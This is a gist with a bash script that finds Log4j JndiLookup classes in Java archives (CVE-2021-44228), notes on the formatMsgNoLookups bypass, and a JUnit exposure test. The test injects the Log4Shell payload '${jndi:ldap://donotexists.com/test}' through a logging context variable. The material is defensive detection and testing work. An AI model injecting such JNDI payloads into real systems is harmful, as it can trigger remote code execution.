-
-
Save righettod/ce1570954242de2f8772c6f25eece77d to your computer and use it in GitHub Desktop.
#!/bin/bash | |
######################################################################################################### | |
# Script to identify Log4J affected class for CVE-2021-44228 in a collection of EAR/WAR/JAR files | |
# Based on this script: | |
# https://github.com/righettod/toolbox-pentest-web/blob/master/scripts/identify-class-location.sh | |
######################################################################################################### | |
if [ "$#" -lt 1 ]; then | |
script_name=$(basename "$0") | |
echo "Usage:" | |
echo " $script_name [BASE_SEARCH_FOLDER]" | |
echo "" | |
echo "Call example:" | |
echo " $script_name /apps" | |
exit 1 | |
fi | |
# Constants | |
JAR_FOUND=0 | |
TARGET_CLASS_NAME="org/apache/logging/log4j/core/lookup/JndiLookup.class" | |
APP_LIBS_FOLDER=$1 | |
WORK_FOLDER=/tmp/work | |
JAR_WORK_FOLDER=/tmp/jarwork | |
NESTED_JAR_WORK_FOLDER=/tmp/nestedjarwork | |
CDIR=$(pwd) | |
# See https://unix.stackexchange.com/a/9499 | |
OIFS="$IFS" | |
IFS=$'\n' | |
# Utility functions | |
inspect_folder (){ | |
folder_location=$1 | |
for jar_lib in $(find "$folder_location" -type f -iname "*.jar") | |
do | |
inspect_jar_file "$jar_lib" | |
done | |
} | |
inspect_jar_file(){ | |
jar_file_location=$1 | |
find=$(unzip -l "$jar_file_location" | grep -c "$TARGET_CLASS_NAME") | |
if [ $find -ne 0 ] | |
then | |
JAR_FOUND=1 | |
echo "" | |
echo -e "\e[91m[!] Class found in the file '$jar_file_location'.\e[0m" | |
echo -e "\e[93m[+] Try to find the Maven artefact version...\e[0m" | |
rm -rf "$JAR_WORK_FOLDER" 2>/dev/null | |
mkdir "$JAR_WORK_FOLDER" | |
unzip -q -d "$JAR_WORK_FOLDER" "$jar_file_location" | |
chmod -R +r "$JAR_WORK_FOLDER" | |
cd $JAR_WORK_FOLDER | |
for f in $(grep -r "groupId\s*=\s*org.apache.logging.log4j" *) | |
do | |
file_loc=$(echo $f | cut -d":" -f1) | |
artefact_version=$(grep -Po "version\s*=\s*.*" "$file_loc" | sed 's/version=//g') | |
echo "File : $jar_file_location" | |
echo "Metadata file : $file_loc" | |
echo "Log4J version : $artefact_version" | |
done | |
cd $CDIR | |
rm -rf $JAR_WORK_FOLDER 2>/dev/null | |
fi | |
# Handle nested jar case | |
has_nested_jar=$(unzip -l "$jar_file_location" | grep "\.jar$" | grep -cv "Archive:") | |
if [ $has_nested_jar -ne 0 ] | |
then | |
nestedjar_lib_name="$(basename "$jar_file_location")_$RANDOM" | |
mkdir -p "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
unzip -q -d "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" "$jar_file_location" | |
chmod -R +r "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
inspect_folder "$NESTED_JAR_WORK_FOLDER/$nestedjar_lib_name" | |
fi | |
} | |
echo -e "\e[93m[+] Searching class '$TARGET_CLASS_NAME' across '$APP_LIBS_FOLDER' folder...\e[0m" | |
for lib in $(find "$APP_LIBS_FOLDER" -type f -iname "*.jar" -o -iname "*.war" -o -iname "*.ear") | |
do | |
filename=$(basename "$lib") | |
filename="$filename" | |
extension="${filename##*.}" | |
printf "\r[*] Inspecting file: %-80s" $filename | |
if [ $extension == "ear" ] | |
then | |
rm -rf $WORK_FOLDER 2>/dev/null | |
mkdir $WORK_FOLDER | |
unzip -q -d $WORK_FOLDER "$lib" | |
chmod -R +r $WORK_FOLDER | |
for war_lib in $(find $WORK_FOLDER -type f -iname "*.war") | |
do | |
war_lib_name="$(basename "$war_lib")_$RANDOM" | |
war_lib_folder="$WORK_FOLDER/$war_lib_name" | |
mkdir "$war_lib_folder" | |
unzip -q -d "$war_lib_folder" "$war_lib" | |
chmod -R +r "$war_lib_folder" | |
done | |
inspect_folder "$WORK_FOLDER" | |
rm -rf "$WORK_FOLDER" 2>/dev/null | |
fi | |
if [ $extension == "war" ] | |
then | |
rm -rf $WORK_FOLDER 2>/dev/null | |
war_lib_name="$(basename "$lib")_$RANDOM" | |
war_lib_folder=$WORK_FOLDER/$war_lib_name | |
mkdir -p "$war_lib_folder" | |
unzip -q -d "$war_lib_folder" "$lib" | |
chmod -R +r "$war_lib_folder" | |
inspect_folder "$WORK_FOLDER" | |
rm -rf $WORK_FOLDER 2>/dev/null | |
fi | |
if [ $extension == "jar" ] | |
then | |
inspect_jar_file "$lib" | |
fi | |
done | |
printf "\r%-100s" " " | |
if [ $JAR_FOUND -eq 0 ] | |
then | |
echo -e "\r\e[92m[V] Inspection finished - Class not found!\e[0m\n" | |
else | |
echo -ne "\r\e[91m[!] Inspection finished - Class found!\e[0m\n" | |
fi | |
IFS="$OIFS" | |
rm -rf "$NESTED_JAR_WORK_FOLDER" 2>/dev/null | |
exit $JAR_FOUND |
Note about formatMsgNoLookups bypass
ℹ️ This bypass was bring by the CVE-2021-45046.
Below is a POC from LunaSecIO showing the vulnerability and its exploitation context:
Source: https://twitter.com/LunaSecIO/status/1470871128843251716
A unit tests suite was created and used to perform some tests for the bypass of log4j2.formatMsgNoLookups=true
:
package eu.righettod;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.ThreadContext;
import org.apache.logging.log4j.core.appender.ConsoleAppender;
import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.core.config.builder.api.AppenderComponentBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder;
import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory;
import org.apache.logging.log4j.core.config.builder.api.RootLoggerComponentBuilder;
import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.concurrent.TimeUnit;
/**
* Test suite to ensure that the current version used of log4j-core is not exposed to log4shell vulnerability for CVE-2021-44228
* with the "log4j2.formatMsgNoLookups=true" bypass.
*
* @see "https://www.studytonight.com/post/log4j2-programmatic-configuration-in-java-class"
* @see "https://docs.oracle.com/javase/7/docs/technotes/guides/net/properties.html"
*/
public class Log4ShellExposureTestFormatMsgNoLookupsBypass {
private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}";
private static final String TEST_FAILED_MARKER = "Error looking up JNDI resource";
private Logger victim;
private final ByteArrayOutputStream captureStream = new ByteArrayOutputStream();
private final PrintStream currentSystemOut = System.out;
private final PrintStream currentSystemErr = System.err;
@Before
public void testSuiteSetup() throws Exception {
//Capture SystemOut and SystemErr
PrintStream ps = new PrintStream(captureStream);
System.setOut(ps);
System.setErr(ps);
//Set a SOCK nonexistent proxy to prevent any data to be sent out or any call to exit the network
System.setProperty("proxySet", "true");
System.setProperty("socksProxyHost", "10.10.10.10");
System.setProperty("socksProxyPort", "1111");
//Set a quick socket timeout to speed up the test
System.setProperty("sun.net.client.defaultConnectTimeout", "2000");
System.setProperty("sun.net.client.defaultReadTimeout", "2000");
//Setup the logger
ConfigurationBuilder<BuiltConfiguration> builder = ConfigurationBuilderFactory.newConfigurationBuilder();
builder.setStatusLevel(Level.INFO);
builder.setConfigurationName("DefaultLogger");
AppenderComponentBuilder appenderBuilder = builder.newAppender("Console", "CONSOLE");
appenderBuilder.addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT);
appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:InsecureVariable} - %m%n"));
RootLoggerComponentBuilder rootLogger = builder.newRootLogger(Level.INFO);
rootLogger.add(builder.newAppenderRef("Console"));
builder.add(appenderBuilder);
builder.add(rootLogger);
//Configurator.reconfigure(builder.build());
//Use this method is reconfigure(() do not exists in the log4j2 tested version
Configurator.initialize(builder.build());
//Enable the security flag
System.setProperty("log4j2.formatMsgNoLookups", "true");
//Setup the logger used
victim = LogManager.getRootLogger();
//Display execution context
System.out.printf("LOG4J2 version: %s\n", victim.getClass().getPackage().getImplementationVersion());
System.out.printf("Java version : %s\n", System.getProperty("java.version"));
}
@After
public void testSuiteFinalize() throws Exception {
//Reset SystemOut and SystemErr to original ones
System.setOut(currentSystemOut);
System.setErr(currentSystemErr);
//Remove the SOCK proxy
System.getProperties().remove("proxySet");
System.getProperties().remove("socksProxyHost");
System.getProperties().remove("socksProxyPort");
//Remove socket timeout
System.getProperties().remove("sun.net.client.defaultConnectTimeout");
System.getProperties().remove("sun.net.client.defaultReadTimeout");
}
@Test
public void testExposure() throws Exception {
//Ensure that the security flag is enabled
Assert.assertNotNull("Flag 'log4j2.formatMsgNoLookups' must be set!", System.getProperty("log4j2.formatMsgNoLookups"));
Assert.assertTrue("Flag 'log4j2.formatMsgNoLookups' must be enabled!", Boolean.parseBoolean(System.getProperty("log4j2.formatMsgNoLookups")));
//Log the payload
ThreadContext.put("InsecureVariable", TEST_PAYLOAD);
victim.info("Triggering...");
//Let's time to logger to write the content to the appender and any JNDI lookup to be attempted
TimeUnit.SECONDS.sleep(10);
//Check if any JNDI lookup tentative was performed
String out = captureStream.toString(StandardCharsets.UTF_8);
//Save the output for ease debugging operations
Files.deleteIfExists(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"));
Files.writeString(Paths.get("target", "Log4ShellExposureTestMsgNoLookupsBypass.out"), out, StandardCharsets.UTF_8, StandardOpenOption.CREATE);
//Apply assertion using the JNDI lookup marker
Assert.assertFalse("JNDI lookup tentative identified, see target/Log4ShellExposureTestMsgNoLookupsBypass.out file for details.", out.contains(TEST_FAILED_MARKER));
}
}
Version 2.14.1 seems to be exposed to the bypass:
Version 2.15.0 do not seems to be exposed to the bypass:
Note that a usage of the printf()
function, like for example victim.printf(Level.INFO,"%s",TEST_PAYLOAD)
, have the same effect that using the ThreadContext
combined with a expression in the log pattern:
On version 2.15.0 - By default:
- JNDI with DNS protocol is not allowed:
- JNDI with LDAP(S) protocol require defining allowed hosts:
Regarding LDAP(S), a bypass of the validation against allowed hosts was identified: https://twitter.com/pwntester/status/1471465662975561734
@tbird5 Thank you very much for the feedback I will work on it to address the issues raised 👍
@tbird5 New version published with the issues mentioned normally fixed (at least using my test cases) 👍
From now I will manage the script and the analysis content here.
It will facilitate the issue handling, sharing, publishing and backup of the content.
This is a good method. But, some issues:
It doesn't work on paths with spaces.
It doesn't work on jars nested inside jars. It needs to recursively un-jar. It's not as common to have jars in jars, but can occur, and can be used with a custom ClassLoader.
Unzip can leave file permissions as unreadable by you. Do a chmod +r after unzip.